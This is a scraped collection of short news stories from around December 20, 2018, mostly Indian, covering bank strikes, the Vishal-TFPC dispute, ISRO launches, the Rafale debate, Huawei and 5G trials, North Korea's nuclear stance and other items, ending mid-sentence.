Adenauer Foundation. Search Keywords: Short link: SOUTHINGTON A Southington High School student has been charged after he reportedly said he was going to bring a gun to school Thursday. On Wednesday around 1:30 p.m., police were notified that a student at the high school said he was going to bring a gun to the school on Thursday, Lt. Stephen Elliott said. The student admitted making the statement when questioned by police, and said he knew it was wrong and that he did not have any intention of bringing a weapon to school. The student was charged and referred to juvenile court, Elliott said. His charges were not available. Police had an increased presence at the high school Thursday. lsellew@record-journal.com 203-317-2225 Twitter: @LaurenSellewRJ Sports Steve Smith barred from Bangladesh T20 league Dhaka, Dec 20 (Agencies) | Publish Date: 12/20/2018 11:38:34 AM IST Bangladeshs Cricket Board said on Thursday it has barred former Australian captain Steve Smith from the forthcoming Bangladesh Premier League Twenty20 tournament following an objection raised by some franchises. Smith had signed for Comilla Victorians to play in the next edition of the BPL starting on January 5. He was expected to join the team as a replacement for Pakistani cricketer Shoaib Malik. The rule of the tournament is that if a franchise takes a replacement, his name should be in the list of initial players draft. But Smiths name was not there, said Bangladesh Cricket Board chief Nizamuddin Chowdhury. International Wont denuclearize unless US removes threat: N Korea North Korean soldiers prepares to launch a Hwasong-14 intercontinental ballistic missile (ICBM) in North Koreas northwest on July 4, 2017. (File) Seoul, Dec 20 (AP) | Publish Date: 12/20/2018 11:34:03 AM IST North Korea said Thursday it will never unilaterally give up its nuclear weapons unless the United States removes its nuclear threat first, a statement that raises further doubts on whether leader Kim Jong Un will ever relinquish an arsenal he may see as his greatest guarantee of survival. The statement carried by the official Korean Central News Agency came amid a deadlock in nuclear negotiations between the United States and North Korea over the sequencing of the denuclearization process and removal of international sanctions. Kim and President Donald Trump met June 12 in Singapore where they issued a vague goal for the complete denuclearization of the Korean Peninsula without describing when and how it would occur. But North Korea for decades has been pushing a concept of denuclearization that bears no resemblance to the American definition, vowing to pursue nuclear development until the United States removes its troops and the nuclear umbrella defending South Korea and Japan. In Thursdays statement, the North reiterated its traditional stance on denuclearization and accused Washington of misleading what had been agreed on in Singapore. The United States must now recognize the accurate meaning of the denuclearization of the Korean Peninsula, and especially, must study geography the right way, the statement said. When we talk about the Korean Peninsula, it includes the territory of our republic and also the entire region of (South Korea) where the United States has placed its invasive force, including nuclear weapons. When we talk about the complete denuclearization of the Korean Peninsula, it means the removal of all sources of nuclear threat, not only from the South and North but also from areas neighboring the Korean Peninsula, the statement said. The nuclear negotiations between Washington and Pyongyang stalled since the Trump-Kim meeting. The United States wants North Korea to provide a detailed account of nuclear and missile facilities that would be inspected and dismantled under a potential deal, while the North is insisting that sanctions be lifted first. The North Korean statement came a day after Stephen Biegun, the Trumps administrations special envoy on North Korea, told reporters in South Korea that Washington was reviewing easing travel restrictions on North Korea to facilitate humanitarian shipments to help resolve the impasse in nuclear negotiations. Luxors ancient Karnak temple complex will be illuminated within by the rays of the rising sun on Friday, in an event that occurs twice per year, on the winter and summer solstices. This years solar alignment is scheduled to begin at 6:31 am. The sun appears in the middle of the temples eastern gate, and then illuminates other sacred parts of the site including the open courtyard, the hall of columns, and the sanctuary of the god of Amun, state news agency MENA said. The temple will be open for visitors for free on the day, Al-Ahram Arabic website reported. The spectacle usually draws a large number of tourists to the famed site. Friday will mark the winter solstice in the northern hemisphere, the longest night and shortest day of the year. Also on Friday, the sun will illuminate the sanctum of the Karun Palace temple in Fayoum, south of Cairo, around 15 minutes later, lighting the sacred room for a short period of time. Search Keywords: Short link: By IANS CHENNAI: With the failure of conciliation talks, about 10 lakh bankers in private and government banks will go on strike on December 26 protesting against the merger of Bank of Baroda, Dena Bank and Vijaya Bank, the All India Bank Employees Association (AIBEA) said on Thursday. "During the conciliation meeting held in Delhi today (Thursday), the Additional Chief Labour Commissioner advised the three banks and IBA (Indian Banks Association) to hold negotiations with the unions and convey the Union's concerns to the government," AIBEA General Secretary C.H. Venkatachalam told IANS. "No assurance came from either IBA or the government. Hence the conciliation talks failed and the December 26 strike stands," Venkatachalam added. The AIBEA is part of the nine unions in the banking sector under the umbrella body of United Forum of Bank Unions (UFBU). According to Venkatachalam, the strike was only against the bank mergers and there was no deadlock on the wage revision talks with IBA. India is largely unbanked or underbanked with low density of banks. Mergers will kill bank branches while the focus should be on recovering the huge outstanding loans, the AIBEA said. With Christmas on December 25, banks would effectively be closed for two days, affecting the banking public. Though the bankers had wanted the strike on December 24, a Monday, for a bigger impact as the banks would then be closed for four consecutive days (December 22-25), the unions decided to strike on December 26 to lessen the impact on public. By Express News Service Bengal Chemicals and Pharmaceuticals Ltd (BCPL), the countrys first pharmaceutical company, is quietly scripting a strategy to bag the coveted miniratna status within the next five years. The firm has set an ambitious target of achieving a turnover of 500 crore by FY23 and expects a 10-fold jump in net profit to 100 crore, from 10 crore now. Founded by renowned chemist, Acharya Prafulla Chandra Roy, in 1901, BCPL had been in the red since 1950 till Pilla Marri Chandraiah took charge as the companys Director-Finance and was later promoted to the post of managing director in 2016. After being a loss-making enterprise for nearly seven decades, the Kolkata-based company had posted its first net profit in 2016-17 and the highest ever income and net profit in 2017-18. Its a matter of pride that the company had posted a net profit of 10.06 crore on a turnover of 78 crore against a net loss of 36 crore in 2013-14, stated Chandraiah said in its latest annual report. Additionally, the company has also achieved a gross profit margin of 24.23 crore in the sid year, the highest ever in its history. This fiscal year, it expects to achieve a turnover of more than 100 crore with net profit being in the range of 15-20 crore. With margins improving, the company has been able to clear backlog accounts. BCPL has repaid the entire bank loan of 28 crore from its own cash generation to United Bank of India in March, regaining its corporate house building in Kolkata, which was mortgaged in 1983. Further, the company has repaid loans worth 11 crore to the government and expects to repay the remaining 16 crore of interest by December-end, said Chandraiah, adding that the company also has an additional 119 crore of interest-free loans taken from the centre which it hopes to repay by 2022. The PSU, however, has a negative net worth of 92 crore due to years of losses. But, Chandraiah expects BCPL to be a positive net worth company by 2022 to the meet the criteria needed for Miniratna status and revise the wages of its employees, who are still on the 1997 pay scale level. While an increase in pay scale is likely to be an additional burden, he said the company can absorb the 2 crore additional wage bill (currently 16 crore) through improved performance. The century-old firm has three divisions home care & personal care, pharma and industrial chemicals with pharma contributing to 64 per cent of its turnover. Vision and strategy Turnover of the firms pharmaceutical division is expected to increase eight-fold to H400 crore. A new injectable and capsule business category has been initiated in January this year, driving sales in the pharma division. Plans on to streamline finance, and reduce administrative costs. To ramp up retail sales through two new direct company outlets branded Bengal Chemicals Retail Store in Kolkata and Mumbai, this fiscal. Aims for a rs 1 crore turnover from this segment. Plans on to restart production of its anti-snake venom serum by 2020. Has tied up with Big Basket to tap online sales. By PTI NEW DELHI: The government will be mindful of concerns around national security threat from Chinese telecom gear firms like Huawei and ZTE at the time of commercial rollout of the 5G network but has no issues as far as their participation in the trial of the next generation technology is concerned, an official said. "Government is keeping a watch on the global situation around security concerns. There are no issues around the participation of Chinese telecom firms in 5G trials. The concerns will be examined at the time of commercial rollout by an inter-ministerial panel," a Department of Telecom (DoT) official told PTI. Huawei has proposed to conduct 5G trials in India in partnership with Vodafone Idea Limited. Top officials of Vodafone and Huawei India met telecom secretary Aruna Sundararajan to discuss their 5G pilot project in the country. Recently, a government body Telecom export Promotion Council approached National Security Advisor Ajit Doval to ban the purchase of equipment from Chinese companies like Huawei, ZTE and Fiberhome for government networks, claiming that they can pose a serious national security threat. TEPC chairman and former telecom secretary Shyamal Ghosh shot off the letter following the recent move by developed countries like the US, Japan, Canada, the UK, Germany, Australia and New Zealand to block the purchase of equipment from companies such as Huawei, ZTE and Fiberhome, particularly for 5G networks. He alleged that alleged that there has been a sustained effort by Chinese equipment vendors to win all government and security-sensitive projects such as in power, railways, oil and gas, defence etc at any cost, by offering predatory pricing, so as to gain control of strategic assets in the country. Telecom industry body COAI, however, said that the TEPC's demand to impose restrictions on Huawei and other Chinese firms is without any merit. Huawei too had rejected the allegations saying that it has not received any official communication and the statement issued against it is not backed by any proof. Besides Huawei, the senior management of Swedish telecom gear firm Ericsson and Nokia also met Sundararajan to discuss 5G trials on Wednesday. Nokia has partnered state-run telecom firm BSNL to conduct 5G trials. By Express News Service MUMBAI: Government will seek interim dividend from the Reserve Bank of India (RBI), Economic Affairs Secretary Subhash Chandra Garg told reporters in New Delhi on the sidelines of an event on Wednesday. Garg also said that the expert committee on Economic Capital Framework has been almost finalised and is likely to be announced soon. However, what comes as a big relief for public sector banks (PSB) is the parliamentary approval for additional capital for the banks. As per the plan, PSBs were to get Rs 1.35 lakh crore through re-capitalisation bonds and raise Rs 58,000 crore capital from the market. Out of the Rs 1.35 lakh crore, the government has already infused about Rs 82,000 crore through recap bonds.Banks with strong balance sheets and those that have been infused with capital twice, are not under consideration this time. Indian Bank, Vijaya Bank, UCO Bank, Punjab & Sind Bank, Oriental Bank of Commerce, Dena Bank, Canara Bank, Bank of India and Bank of Baroda are in the list for recap consideration, sources said. Liquidity positive, capital the constraining factor Liquidity and bank capital were two issues that came up for discussion in the second round of meeting between PSB heads and the RBI governor Shaktikanta Das on Wednesday, sources said.The 14 banks that met, all are liquidity positive. Capital is the main issue, that is the constraining factor in growth, said one of the bankers, who attended Wednesdays meeting. He said the banks themselves are not in a position to raise money from the market due of weak balance sheets of many PSBs. Why the bankers are not able to grow at the speed at which they would like to grow or the country demands, is the capital, he said. The banks, on one hand, are not able to grow because of the capital constraints and on the other hand, there is also the issue of corporate lending not taking off as project investments have come down. Capital infusion would also help some of the banks move out of the Prompt Corrective Action framework. RBI also sought the view of bankers on the stepped out OMO purchases announced on Tuesday, another banker present at the meeting said. RBI increased the size of OMO of Rs 40,000 announced for December to Rs 50,000 crore and announced another Rs 50,000 crore OMO in January in five tranches. By Express News Service BENGALURU: A labourer carrying out work for the Bangalore Water Supply and Sewerage Board (BWSSB) died when he fell into an open stormwater drain while working in Rajarajeshwari Nagar, here on Wednesday. Madiwalappa Gowda Madiwalappa Gowda (26), the victim, is survived by his wife and two-year-old son. The incident occurred around 4.30 pm near Padmavathy temple. According to sources, his body sank deep into the drain, and rescue personnel were still trying to recover the body until 9 pm. According to Assistant Executive Engineer for RR Nagar Sneha V, Gowda and another worker climbed down near the mouth of the drain to repair a blockade in the newly-laid sanitary pipeline. When they climbed down, the soil at the location was very loose and immediately caved in, Sneha said. The other worker ran away from the spot in fear. A police official at the spot said, By the time help arrived, the worker in the drain had choked to death. We are now trying to recover his body from the silt. Relatives of the deceased blamed the BWSSB for the incident and protested against them at the site of the accident. Neelamma, the distraught sister of Gowdas wife, said the victim was a native of Bijapur and had been working for three days. Sneha said the BWSSB would help the relatives claim insurance, as lives of all workers had been insured by the contractor concerned. C Shivakumar By Express News Service CHENNAI : Second Lieutenant Hassiana Najibi, a trainee pilot of the Afghan Air Force, is confident of making a mark. With her hair covered and sporting the Afghan uniform at the Officers Training Academy, one of Indias premier institutes, Najibi has the confidence of conquering the male bastion with the words I Can. Interestingly, she is not the lone Afghan trainee pilot who is trained on war tactics and leadership in OTA. She is accompanied by Zuhra Nabizadi and Nassema, who is a flight engineer. They are among the batch of 19 Afghan women who are being trained in combat, leadership and other aspects. The influence of the Taliban in the Afghan society, could be felt as both women didnt want to reveal more details about the family. It is a totally well-knit society and women have to adhere to the tenets of Islam. As such, they dont want to reveal any more details, says Captain Sirajulhaq Safi. However, women like Zuhra and Hassiana have overcome the fear of not joining the military despite facing restrictions which pertain to religion and culture. However, the Afghan women envy the freedom given to Indian women army officers. They have more facilities and freedom, says Zuhra when queried about how they feel about Indian women in Army. The trainee pilots take pride that they are among the five selected for becoming pilots in the Indian Air Force among the 3,000 girls, who wrote the exam. They have also faith that the society is changing as women are being given opportunities. Interestingly, the Officers Training Academy has become the hub for training women and men officers from various countries. This year, lady cadets from Bhutan, Uganda, Seychelles, Maldives and other countries, are undergoing training in the academy. T Muruganandham By Express News Service CHENNAI: Union Minister for Agriculture Radha Mohan Singh on Wednesday promised a slew of measures for alleviating the sufferings of the farmers, particularly the coconut growers in delta districts, who were affected by cyclone Gaja. He conveyed this to a delegation of BJP leaders comprising Defence Minister Nirmala Sitharaman, Union Minister Pon Radhakrishnan, State general secretaries Vanathi Srinivasan and Karuppu M Muruganandham. This delegation has been meeting the Union ministers for different departments for the past two days and will continue to meet a few more ministers on Thursday. In Thanjavur and adjacent districts, coconut growers need immediate help as they have lost lakhs of their trees to the cyclone. The first thing they need is the removal of fallen trees. For this, the Union minister promised he would ensure that this work is carried out under the MGNREGA scheme so that the trees would be removed at the expenditure of the government, BJP State general secretary Vanathi Srinivasan who was part of the delegation told Express. When the delegation put up the demand for immediate supply of coconut saplings to the affected farmers, the Union minister promised to propose a special scheme to the Union Finance Ministry. This scheme would be implemented through the Coconut Development Board. Since the yield of these saplings will start only after six or seven years, for the sustenance of the farmers, Under the Mission for Integrated Development of Horticulture, inter-crops (short-term crops grown along with long-term crops) would be distributed to the farmers. By Express News Service KOCHI: The Cochin International Airport Limiteds (CIAL) renovated Terminal 1 (domestic) became operational on Wednesday with the Indigo flight from Hyderabad arriving to a water salute at 10.10 am. The airport authorities also welcomed the passengers. Airport director A C K Nair welcomed first passenger Adhithya Vikram Singh in the presence of CISF Senior Commandant M Sasikanth, CIAL managers K P Thankachan, V Jayarajan, Deputy General Manager C Dhinesh Kumar, Bini T I and Indigo airport manager Roby John. Domestic departure, which continues at Terminal 2, will be shifted to the new one by Thursday evening. On December 12, Chief Minister Pinarayi Vijayan had inaugurated the terminal, renovated at a cost of Rs 240 crore. It stands out for its traditional architectural style. The 6-lakh sqft facility can handle 4,000 passengers hourly. It boasts 56 check-in counters, seven aerobridges and a modern conveyor belt system that can handle baggage from 12 flights at a time. By Express News Service CHENNAI: The drama surrounding the Tamil Film Producers Council (TFPC) continued for the second day, with President, actor Vishal, being taken into custody after he tried to force entry into the councils office on Thursday. The office had been locked by a group of producers opposing the current office bearers on Wednesday. Pondy Bazaar police registered a case against Vishal under Section 151 of IPC and Section 145 of CrPC. Vishal and team got into an argument with police, questioning them as to why the office bearers were being prevented from entering their own office, when those who illegally locked it the previous day were not. T Nagar Deputy Commissioner tried to convince Vishal that the district registrar to whom the key was given by the rival faction was on his way to unlock the office premises, but they refused to budge, said a police officer. Vishal was released after eight hours of what he called illegal detention. Upon release, he said, Every Friday, films are released. So we went to the office to work, but were stopped and arrested under Section 145 and kept in Devar Mahal. It has been 24 hours since we gave the complaint about the non-members of the TFPC who illegally locked the office, but no action has been taken against them. But, I, an office bearer, was arrested. I believe in the judicial system, so I will go to court and seek justice. The actor said the disputed Ilaiyaraaja concert would indeed take place on February 25 as planned. The amount generated from that will go towards making true our promise to ensure every producer owns some land, he said. READ | My personal life has gone for a toss after taking over as TFPC chief: Vishal On allegations of financial mismanagement, Vishal retorted, Every single penny is documented. We provide pension, education loan, medical assistance, and marriage loans. For people over the age of 60, we pay Rs 12,500 and for those above 50, we pay Rs 4,000-5,000 per month. They are insured for Rs 1.5 crore. We have given our members Rs 10,000 on Diwali and Rs 5,000 on Pongal for the past two years. That I have to spell it all out in public is disappointing. ALSO READ | Tamil films piracy row: Film producers seek Vishals ouster from TFPC presidentship When questioned about the 18 points that the group of opposing producers had raised, SR Prabhu, TFPC treasurer, told Express, Every single decision has been taken based on bylaws of the council. Every month, we have an executive council (EC) meet which has both visual and audio documentation. Anyone can ask questions about the finances - they just need to send a letter in advance. We have not received any letters so far in this respect. I cant believe the brazen impunity with which some of the non-members like JK Rithish and Kishore have acted as far as closing the compound is concerned. This entire state of affairs, right from their actions to the inaction of the police over our rightful complaints, is sad. Prabhu said the EC would meet and take necessary steps. We are trying to get permissions for the Annual General Body Meeting to happen as soon as possible. As far as the 18 points are concerned, we will come up with a point-by-point rebuttal. Meanwhile, representatives of the protesting faction, including director Bharathiraaja, producers AL Azhagappan and K Rajan, met CM Edappadi K Palaniswamy with a petition urging him to look into the problems in the TFPC. (With inputs from Sahaya Novinston Lobo) Egyptian President Abdel-Fattah El-Sisi met with a group of Egyptians living in Vienna on Wednesday, the last day of his four-day visit to the Austrian capital. The group included the families of several Egyptians who were killed or injured in a traffic accident while traveling from the German city of Dresden to Vienna in July 2015 to welcome El-Sisi during his visit at the time. During the meeting, El-Sisi emphasised the need to involve Egyptian expatriates in the governments efforts to achieve development by leveraging their experience and ideas. The group highlighted their efforts to promote positive progress in Egypt. Search Keywords: Short link: Ayshvarya Narayanan By Online Desk South Indian actress Namitha is back in action with her new Kollywood project 'Agambavam.' She plays the role of a bold journalist in the movie, which is set to be entirely different from her usual glamorous roles. In an interview with TNIE, the actress opens up about her life after Bigg Boss, current projects, Kollywood's #MeToo movement and a lot more. She also has a special message for her 'machans.' After Malayalam film Pulimurugan (2016), Namitha took a brief break from movies, during which she appeared in Tamil reality show 'Bigg Boss' in 2017. She has done close to 40 movies in Tamil, Telugu, Malayalam and Kannada. Bigg Boss Sharing her experiences about the show, the actress said, "Bigg Boss changed my life drastically. Things were blown out of proportion, a lot of things were bittersweet but I have no regrets." She got eliminated on Day 28. Speaking about the controversies on the show, she said she believes it is fully choreographed and staged and claimed that the show's technical team edited things that she said. "I have seen it online that there's a particular technology that can be used to edit the words you say. I am a theatre artist and I will remember everything I say. But, they telecast things that I apparently said." #MeToo Namitha minced no words in talking about #MeToo movement. She said the movement has entered into film industry a bit too late. "There's a lot of hypocrisy in our country. We do Sabarimala pooja and Amman pooja, but same people when they go to their house, abuse women, disrespect their mothers, sisters," she added. Expressing her disappointment about the swear words we use, she said, "Even the bad words are based on women. When Nirbhaya case happened, we took up a lot of rallies asking for justice. but it didn't sustain. We left it to the government to decide." WATCH the full video to know a lot about her family, lifestyle, politics and more. Casting couch Actress Namitha claimed that casting couch is an open secret. She said, "it has been around for generations. it's not only for women but unfortunately for men as well. I know many people in the industry who may have compromised just for the sake of a role." Small budget films When asked about her views on the issues faced by small budget films, she said, "not everyone can make Baahubali or 2.0. I respect and encourage small budget movies. Not everyone is a born Rajinikanth or Kamal Haasan. If you're investing even Rs 2 crore hard-earned in a movie, it's not a small amount. Tell me, how many of us can make so much money?" Namitha's Instagram posts are the gym motivation we are all looking for as she underwent a great weight loss transformation recently. But, it has not been an easy journey for her. She broke down a lot of myths surrounding nutrition and diet industry. For Namitha, self-love is the best love. Arunkumar Sekhar By Express News Service CHENNAI: The Tamil Film Producers Council (TFPC) office in T Nagar became a battlefield Wednesday morning as a group of producers, including AL Azhagappan, T Siva, Suresh Kamatchi, and SV Sekhar, locked the office. Kathiresan, honorary secretary, was on the ground to act as a peacemaker, but failed to appease the opposition group. The group of producers put forth 18 points to explain their discontent with the current management and why they wanted TFPC president Vishal to resign immediately. Among their complaints were alleged mismanagement of funds and unkept promises. Their chief complaint, however, was the failure to conduct an Annual General Body Meeting. According to TFPC bylaws, a meeting has to be held by September 30 every year to present accounts, and take permission for activities of the next year. The meeting, last held on December 10, 2017, was abandoned halfway. Matters appear to have come to a head because of the Ilaiyaraaja concert scheduled for February which is alleged to have been fixed without the councils approval. We think there is a lot of mismanagement... how can one person take decisions on behalf of us all? T Siva asked, alleging that Vishal was running the TFPC to the ground. Producer AL Azhagappan told media that over 1,300 producers were present in the committee. With just a phone call, we were able to gather this crowd of 250-300 people. Imagine how much angst these people have? We want a new attack committee (a temporary committee with decision-making powers) to be formed that will act as stewards while election preparations happen for March 2019, he said. A group, comprising of Suresh Kamatchi, T Siva and Satya Jyothi Thyagarajan, led by director Bharathiraaja, met Chief Minister Edappadi K Palaniswami and obtained an appointment to meet him on Thursday. They are expected to urge him to dismiss the TFPC office bearers. Meanwhile, Vishal and the office bearers filed a complaint at the Pondy Bazaar Police station against the producers who locked the TFPC offices at T Nagar and Anna Salai. By Express News Service NEW DELHI: The aviation regulators report on serious incidents has disclosed that the rate of such incidents has gone up in the countrys aviation sector this year. A serious incident is defined as an occurrence where there is a high probability of an accident associated with operation of aircraft. There were 0.14 serious incidents per 10,000 departures during 2014. The figure was 0.6 in 2015, 0.12 in 2017 and again reached 0.14. As per the DGCAs internal audit report, the rate of accident per million departures in India stood at 0.9 till November 2018, against a world average of 1.9. Similarly, cases of mishap related to operations of aircraft fell to 4.71 incidents per 10,000 departures in 2018 (until Nov.) against 6.56 incidents per 10,000 departures in 2017. READ | Indias air security score falls by about 17 per cent in audit, could hit expansion plans Meanwhile, the government on Wednesday said that the Indian aviation sector had maintained the highest safety audit rating in 2018 from global auditors International Civil Aviation Organisation (ICAO) and Federal Aviation Administration (FAA). Two important safety audits conducted by ICAO and FAA have given the highest possible safety audit standards followed by the aviation sector, said Suresh Prabhu, Union minister for civil aviation. India has been, provisionally, given 74 per cent marks by ICAO. By Express News Service BENGALURU: The Bengaluru unit of the BJP staged a protest against All India Congress Committee chief Rahul Gandhi, demanding an apology from him over false allegations against the Modi government on the Rafale deal. BJP members gathered at Anand Rao Circle and shouted slogans against the Congress. Placards demanding an apology were displayed. BJP leaders like state secretary M Jayadev and city unit president P N Sadashiva were accompanied by BBMP corporators during the protest. The protest came two days after BJP held 70 press conferences across India thrashing the Congress after the SC gave the Modi government a clean chit in the pricing of fighter jets. Namita Bajpai By Express News Service LUCKNOW: While Bulandshahr mob violence issue echoed in the state legislature on Thursday with opposition launching a scathing attack on the state government for failing to arrest the killers of SHO Subodh Kumar Singh even after a fortnight of the incident, the family of the slain cop raised doubts over the pace of police investigation. The Bulandshahr violence, which occurred over an incident of alleged cow slaughter, claimed two lives including that of police inspector Subodh Kumar Singh. Meanwhile, another accused Lokendra, named in the violence case, surrendered in the sessions court on Thursday. So far the police have sent over two dozen persons to jail in connection with the violence of December 3. According to highly placed sources, the SIT probing into the killing of the inspector and the mob violence, has yet to identify the actual killer of the cop. The probe team, in fact, is banking upon the video footages of the incident. On the basis of some of the videos, a soldier Jeetendra Malik of 22 Rashtriya Rifles and posted in Kashmir was arrested and brought to Bulandshahr for testimony. But after his interrogation, the police failed to corroborate his involvement in shooting the cop. Some of the video footages give an idea about those who were standing close to the slain inspector when he was shot but the quality of the videos is too bad to establish the identity of the actual killer, said a senior police official. Now the SIT would seek custody of some of those who have arrested in connection with the incident for interrogation and on the basis of the details divulged by them, identity of the killer would be established, he added. The police authorities have already moved the court for property attachment of those accused who have been absconding after the incident, said a senior police official. Meanwhile, the widow and two sons of inspector Subodh Kumar Singh have raised suspicion over the delay in ongoing probe. "It seems the police are working under some pressure as even after 15 days of the killing of my husband, I am yet to get the name of his killer, said Rajni Singh, widow of the slain cop. However ,his two sons, Shreya and Abhishek, asked the police authorities as to why they could not arrest the main accused Yogesh Raj, district convenor of Bajrang Dal and Shikhar Agarwal, an activist of BJP youth wing. Both the sons also demanded stern action against those policemen who left their father injured in the van and ran away to save their life. The family, however, also talked about the alleged political patronage the main accused might be enjoying and that was leading to the delay in their arrest. In the FIR, 27 named and 50-60 unidentified people have been accused of indulging in violence. By Express News Service SRIHARIKOTA: ISRO Chairman K Sivan on Wednesday claimed the Chandrayaan-2 project was on track and the space agency was planning to carry out 32 missions next year. "It will be a busy 2019 year for us. Chandrayaan-2 launch is being planned in the first quarter of 2019. The launch window is between January 3 to February end. We are striving hard for that," he said. ISRO has managed to accomplish 17 missions this year and the next target is raised to 32 missions. Quick read: This is the seventh and last launch in 2018. GSLV-F11 is the 7th flight of GSLV Mk11. The satellite GSAT-7A is the 35th Indian communication satellite. It weights 2,250 kg. The satellite is built to provide communication capability to users in the Ku-band over the Indian region. Customised for military operations, GSAT-7A will improve real-time aircraft-to-aircraft communication. The rocket is equipped with the indigenously developed Cryogenic Upper Stage. This three-stage launch vehicle is 51 meters tall and has a lift-off mass of about 421 tonnes. GSLV-F11 incorporates some major improvements. While the High Thrust Vikas Engine in the second stage enhances the vehicle performance, induction of electro-mechanical actuation system leads to improved reliability. GSAT-7A is the heaviest satellite being launched by GSLV with an indigenously developed cryogenic stage. 35 days, 3 launches: In the last 35 days, ISRO has successfully launched three missions from SDSC, starting with GSLV MkIII-D2 on November14, PSLV-C43 on November 29, and finally GSLV-F11 on Wednesday. Mission life: 8 years Prasanta Mazumdar By Express News Service GUWAHATI: In Christian-majority Mizoram, the Mizo National Front (MNF) government is earning kudos from the influential Church and civil society organisations for its move to bring back prohibition. Re-enforcing total prohibition was one of the promises of the MNF ahead of the November 28 Assembly elections. In keeping with the promise, just days after Zoramthanga had taken over as the chief minister, his government cancelled the liquor vending licenses of three state-run corporations and Mizoram Police battalions. A similar action is likely against the states 50 odd wine shops and a few bars, mostly in state capital Aizawl. The government has also banned the sale of liquor during the festive season of Christmas and New Year. The ban will be in force from December 21 to January 14. Hailing the decision, Rev F Lalrinnunga said, We welcome the governments bold decision to close all state-run liquor shops. The churches in Mizoram have always been averse to the opening up of wine shops as liquor was the reason behind the deaths of many youngsters. Rev Lalrinnunga is the president of Mizoram Kohhran Hruaitute Committee which is a conglomerate of 14 major churches. READ: Lalrinawma elected deputy speaker of Mizoram Assembly The powerful Young Mizo Association has also welcomed the decision. It president Vanlalruata said the state had been severely affected by the menace of liquor and drug. The Zoramthanga governments partial re-enforcement of the ban on liquor came four years after Lal Thanhawlas previous Congress government had partially lifted the Mizoram Liquor (Prohibition and Control) Act in 2014, albeit with regulations of liquors sale and consumption. Prior to that, Mizoram was dry for 17 years. While in the opposition, the MNF always alleged that liquor was killing the states youths. By going against the Church and social organisations, they (Congress) are selling liquor, thereby killing hundreds and thousands of people. Over the past few years, six to seven thousand people, mostly youth, died in Mizoram prematurely because of liquor, Zoramthanga had alleged ahead of the polls. He had promised: Liquor will be a thing of the past if the MNF forms the government. By IANS NEW DELHI: Senior Congress leader M. Veerappa Moily on Thursday stoked a new row when he attacked Indian Air Force (IAF) chief B.S. Dhanoa for defending the Rafale fighter jet deal saying he was 'lying and suppressing the truth'. Moily said that before Prime Minister Narendra Modi entered into a deal with France on acquisition of the Rafale jet, the IAF chief had visited Bengaluru and the HAL plant and said HAL was worth getting an offset contract. But the IAF chief had changed his line now. 'The IAF chief visited HAL a few days prior to this agreement (with Dassault). He came down to Bengaluru along with the Dassault chief. I am informed it is a competent body and they have the expertise to say it is fine. I think the IAF chief is not fine... He is lying, he is suppressing the truth, he is a party to the suppressing of truth,' Moily told reporters. Later, however, he said: 'The question is, is he justifying it on the basis of the Supreme Court judgement which is flawed? In the light of this, whether the IAF chief can again certify that this is fine. I am asking him that question. I never called him a liar. If this HAL is fine... Both of them cannot be fine.' Dhanoa on Wednesday said that Rafale was a game changer and it was an advanced aircraft with the best systems on board. Slamming Moily, BJP MP Subramanian Swamy said the Congress leader's remarks were not just a personal insult to the Air Force chief but to the nation. He asked Moily to issue a public apology. Backing Moily, Karnataka Congress Working President Dinesh Gundu Rao said the IAF should avoid getting into the controversy. By PTI MUMBAI: Software engineer Hamid Nihal Ansari, who spent six years in a Pakistani jail on charges of espionage, returned to his hometown Mumbai on Thursday morning, two days after was handed over to India at the Wagah-Attari border. Ansari, 33, along with his parents left from New Delhi in the morning in an Air India flight and arrived at the Mumbai airport around 9.30 am, his father Nihal Ansari said. Relatives, friends and well-wishers greeted Ansari and cheered for him as he came out of the airport. The family then left for their residence in suburban Versova. Ansari was arrested in Pakistan in 2012 for illegally entering that country from Afghanistan, reportedly to meet a woman he had befriended online. Authorities in Pakistan slapped espionage charges against him. The Mumbai resident, who returned to India on Tuesday after crossing the Wagah-Attari border, was imprisoned in the Peshawar Central Jail after being sentenced by a military court on December 15, 2015. According to official sources, India issued 96 notes verbales to Pakistan seeking consular access to Ansari. The decision to release him was taken on account of relentless pressure from New Delhi, they said. Shortly before his arrival on Tuesday, his mother Fauzia Ansari had told reporters that the prayers of the family and of all those who wished for his safe return were answered. His father had said it was a new dawn for them. Ansari and his family have thanked External Affairs Minister Sushma Swaraj and her ministry for persisting with the case and taking it up with Islamabad. His jail term ended on December 15 but he was not able to leave for India as his legal documents were not ready. On Thursday, the Peshawar High Court gave the Pakistan government a month's deadline to complete his repatriation process. Ansari had an emotional interaction with Swaraj on Wednesday as he narrated the difficult phase he had to endure through in Pakistan. By Express News Service NEW DELHI: A day after Manipur journalist Kishorechandra Wangkhem sentenced to a years detention under the National Security Act (NSA), a new report by the Reporters Without Borders (RSF) says India is the fifth deadliest place for journalists. Wangkhem has been sentenced under the NSA for a video in which he criticised BJP-led state government and Chief Minister N Biren Singh for linking the fight of Rani of Jhansi against the British to the freedom movement of Manipur. An order by the Manipur governor stated that an advisory board, under a section of the NSA, had considered the case and came to the conclusion that there are grounds and sufficient cause for Wangkhems detention under the Act. This is not the first time Wangkhem has been arrested. He was also arrested in August for another social media post and charged under sections 505(2) and 506 of the IPC, but was later released. In the report, RSF highlighted two instances of India where journalists have lost their lives while exposing the mafia. In the first case, a village chief in Bihar killed two journalists, Navin Nischal and Vijay Singh, in the wake of reports filed by them. On the same day, in Madhya Pradesh, a dump truck was used to run down and kill Sandeep Sharma, a journalist who had been investigating the local sand mafia. The second instance pertains to Nischal and Singh, who worked for a national daily. Their family members alleged that they were murdered by a village head. Sharma, a television journalist, had claimed a threat to his life. A student was killed and two others were seriously injured when part of a school fence collapsed on a number of students in Cairos El-Marg district on Thursday, according to the district head. The incident took place at the Manaret El-Sharq private school. Investigators from the prosecution and civil defence rescue teams arrived swiftly to the scene, and the injured students were taken to nearby hospitals for treatment. Officials from the Cairo Educational Directorate have ordered an investigation into the incident. By IANS NEW DELHI: The Muslim Women (Protection of Rights on Marriage) Bill, 2018, commonly known as triple talaq bill, will be discussed in the Lok Sabha on December 27. The Bill -- which is aimed to protect the rights of married Muslim women and prohibit divorce by pronouncing talaq by their husbands -- that was part of Thursday's legislative business was postponed by Lok Sabha Speaker Sumitra Mahajan following request of Congress MP Mallikarjun Kharge. Soon after Mahajan asked Revolutionary Socialist Party (RSP) MP N.K. Premchandran to speak over the Bill, which was listed for the legislative business for consideration and passage, Kharge stood and requested her to defer the discussion to December 27. Calling it a very important Bill, Kharge said: "The opposition wants a healthy discussion over the Bill. I request you to defer the debate on the Bill to December 27." Assuring that the opposition will peacefully debate over the Bill on the date he 